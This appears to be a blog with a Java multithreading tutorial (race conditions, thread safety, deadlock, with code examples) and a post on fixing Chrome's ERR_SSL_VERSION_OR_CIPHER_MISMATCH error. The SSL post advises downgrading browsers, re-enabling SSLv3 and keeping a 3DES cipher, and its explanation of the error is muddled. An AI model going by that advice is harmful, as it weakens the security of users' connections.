   Logger.getLogger(ExecutorServiceThreadPool.class.getName()).log(Level.SEVERE, null, ex);
  }      
  System.out.println("Finished all threads");
 }
}
------------------------------------------------------------------

Multithreading Issues and Solutions in Java

Multithreading Issues and Solutions in Java: 
Race-Condition
Thread Safety
DeadLock
------------------------------------------------------------------------
Race-Condition: In Java it is a type of concurrency bug or issue which is introduced in your program because parallel execution 
of your program by multiple threads at same time, Since Java is a multi-threaded programming language hence risk of Race 
condition is higher in Java. This requires clear understanding of what causes a race condition and how to avoid that.
Race condition is of 2 types: "Check and Act" and "Read Modify Write"
The solution is use: Synchronization

Check and Act Race Condition:
If you call getInstance() method below from two thread simultaneously, then its possible that while one thread is initializing 
singleton after null check, another thread sees value of _instance reference variable as null (especially if your object takes longer
time to initialize) and enters into critical section which eventually results in getInstance() returning two separate instance of Singleton. 

    public Singleton getInstance(){
        if(_instance == null){   //race condition if two threads sees _instance= null
            _instance = new Singleton();
        }
    }
Solution: Use Synchronized in getInstance()

Read Modify Write Race Condition:
This comes due to improper synchronization of non-atomic operations or combination of two individual atomic operations which is not atomic 
when combined. Here both contains() and put() are atomic but still this code can result in race condition since both operation together is 
not atomic. Consider thread T1 checks for conditions and goes inside if block, now CPU is switched from T1 to thread T2 which also checks 
condition and goes inside if block. Now we have two thread inside if block which result in either T1 overwriting T2 value or vice-versa 
based on which thread has CPU for execution. In order to fix this race condition in Java you need to wrap this code inside synchronized 
block which makes them atomic together because no thread can go inside synchronized block if one thread is already there.

    if(!hashtable.contains(key)){  
        hashtable.put(key,value);
    }
    
Solution: Move these two codes lines inside Synchronized block.
------------------------------------------------------------------------

Thread Safety: Thread-safety or Thread-safe code in Java refers to code which can safely be used or shared in concurrent or 
multi-threading environment and they will behave as expected. Any code, Class or Object which can behave differently from its 
contract on concurrent environment is not thread-safe.

Ex: //Non Thread-Safe Class
    public class Counter {  
        private int count;  
        //This below method is not thread-safe because ++ is not an atomic operation
        public int getCount(){
            return count++;
        }  
    }

Above example is not thread-safe because ++ (increment operator) is not an atomic operation and can be broken down into 
Read, Update and Write operation. If multiple thread call getCount() approximately same time each of these three operation 
may coincide or overlap with each other for example while thread 1 is updating value, thread 2 reads and still gets old value, 
which eventually let thread 2 override thread 1 increment and one count is lost because multiple thread called it concurrently.

How to make above code thread safe in Java:
1) Use synchronized keyword in Java and lock the getCount() method so that only one thread can execute it at a time which 
   removes possibility of coinciding or interleaving.
2) use Atomic Integer, which makes this ++ operation atomic and since atomic operations are thread-safe and saves cost of external synchronization.

//Complete Code, Thread-Safe Example
public class Counter {
    private int count;
    //This method is thread-safe now because of locking and synchornization
    public synchronized int getCount(){
        return count++;
    }  
}

OR
import java.util.concurrent.atomic.AtomicInteger;
public class Counter {    
    AtomicInteger atomicCount = new AtomicInteger(0);
    //This method is thread-safe because count is incremented atomically
    public int getCountAtomically(){
        return atomicCount.incrementAndGet();
    }
}

//Java Source code for method AtomicInteger.incrementAndGet()
public final int incrementAndGet() {
        for (;;) {
            int current = get();
            int next = current + 1;
            if (compareAndSet(current, next))   //This does Compare and Set operation.
                return next;
        }
}

NOTE about Thread-Safety: 
1) Immutable objects are by default thread-safe because their states can't be modified once created. String is immutable, hence inherently thread-safe.
2) Read only or final variables in Java are also thread-safe.
3) Locking is one way of achieving thread-safety in Java.
4) Static variables if not synchronized properly becomes major cause of thread-safety issues.
5) Example of thread-safe class in Java: Vector, Hashtable, ConcurrentHashMap, String etc.
6) Atomic operations in Java are thread-safe. Ex: Reading a 32 bit integer from memory because its an atomic operation it can't interleave with other thread.
7) Local variables are also thread-safe because each thread has its own copy. Hence using local variables is good way for writing thread-safe code in Java.
8) In order to avoid thread-safety issue minimize sharing of objects between multiple thread.
9) Volatile keyword in Java can also be used to instruct threads not to cache variables and read from main memory.
10) Sometimes JVM plays a spoiler since it can reorder code for optimization, so the code which looks sequential and runs fine in development 
    environment are not guaranteed to run similarly in production environment because JVM may ergonomically adjust itself as server JVM and 
    perform more optimization and reorder which cause thread-safety issues. Volatile is the solution for variables if there are for such cases.
    Remember JVM tuning flag: server

------------------------------------------------------------------------
DeadLock: When two or more threads are waiting for each other to release lock and get stuck for infinite time, situation is called deadlock. 
It will only happen in case of multitasking. 
How to check if a code has possibility for Deadlock: Check if there are nested synchronized block or calling one synchronized method from other
or trying to get lock on different objects.

How to resolve DeadLock: When you are locked while running the application, take thread dump, in Linux you can do this by command "kill -3".
This will display status of all the threads and you can see which thread is locked on which object. Other way is to use jconsole, it will also 
show you exactly which threads are get locked and on which object.

Example of Deadlock:
package threads;
//Java program to create a deadlock by imposing circular wait.
public class DeadLockDemo {
    //This method request two locks, first String and then Integer
    public void method1() {
        synchronized (String.class) {
            System.out.println("Aquired lock on String.class object");

            synchronized (Integer.class) {  //nested Synchronized
                System.out.println("Aquired lock on Integer.class object");
            }
        }
    }

    //This method also requests same two locks but in exactly Opposite order i.e. first Integer and then String. 
    //This creates potential deadlock, if one thread holds String lock and other holds Integer lock and they wait 
    //for each other, forever.
    public void method2() {
        synchronized (Integer.class) {
            System.out.println("Aquired lock on Integer.class object");

            synchronized (String.class) {
                System.out.println("Aquired lock on String.class object");
            }
        }
    }
}
/*
If method1() and method2() both will be called by two or many threads, there is a good chance of deadlock because if 
Thread-1 acquires lock on String object while executing method1() and Thread-2 acquires lock on Integer object while 
executing method2() both will be waiting for each other to release lock on Integer and String to proceed further which will never happen.
*/

Solution: Make the order of Locks in nested Synchronized same in both methods. So, if thread A acquires lock on Integer object, thread B 
will not proceed until thread A releases Integer lock, same way thread A will not be blocked even if thread B holds String lock because 
now thread B will not expect thread A to release Integer lock to proceed further.
------------------------------------------------------------------------

//References from java67 and javarevisited.

Wednesday, January 11, 2017

Chrome issue : ERR_SSL_VERSION_OR_CIPHER_MISMATCH

Chrome issue: ERR_SSL_VERSION_OR_CIPHER_MISMATCH

If you get this error while hitting an URL in chrome, it means the recently Updated Chrome version doesn't support SSLv3 protocol.
So if you Use an older version of Chrome or Firefox, you won't get this error. This is Browser's error which occurs only when
there is some problem at client side while establishing private connection to a secure site and this error is related to “SSL Certificate” security.

Solution:
Temporary at client side:
1) Use older version of Chrome or Mozilla, remove recently updated version.
2) Open "chrome://flags" in Chrome URL and search for SSL, then change the drop down option to support SSLv3.

Permanently:
1) Since your application is running in an Application Server (Web Server). Make the "sslProtocols" change and CIPHERs change. 
   The below change is for JBOSS server (open JBOSS/server/YOUR_MODULE/deploy/jboss-web-deployer/server.xml) and modify below changes as:
   
  <Connector port="6443" address="${jboss.bind.address}" SSLEnabled="true"  
         maxThreads="250" maxHttpHeaderSize="8192"
         emptySessionPath="false" protocol="HTTP/1.1" scheme="https" secure="true"
         enableLookups="false"  acceptCount="100"
         connectionTimeout="20000" disableUploadTimeout="true" server=" "
         clientAuth="false" keystoreFile="${jboss.server.home.dir}/conf/servercerts" keystorePass="*******" 
         sslProtocols="TLSv1,TLSv1.1,TLSv1.2" ciphers="TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 
         TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,
         TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,
         TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
         TLS_RSA_WITH_AES_128_CBC_SHA256,
         TLS_RSA_WITH_AES_128_CBC_SHA,
         TLS_RSA_WITH_AES_256_CBC_SHA256,
         TLS_RSA_WITH_AES_256_CBC_SHA,
         SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA" />

    Save the file and restart the Application Server. Issue will be resolved.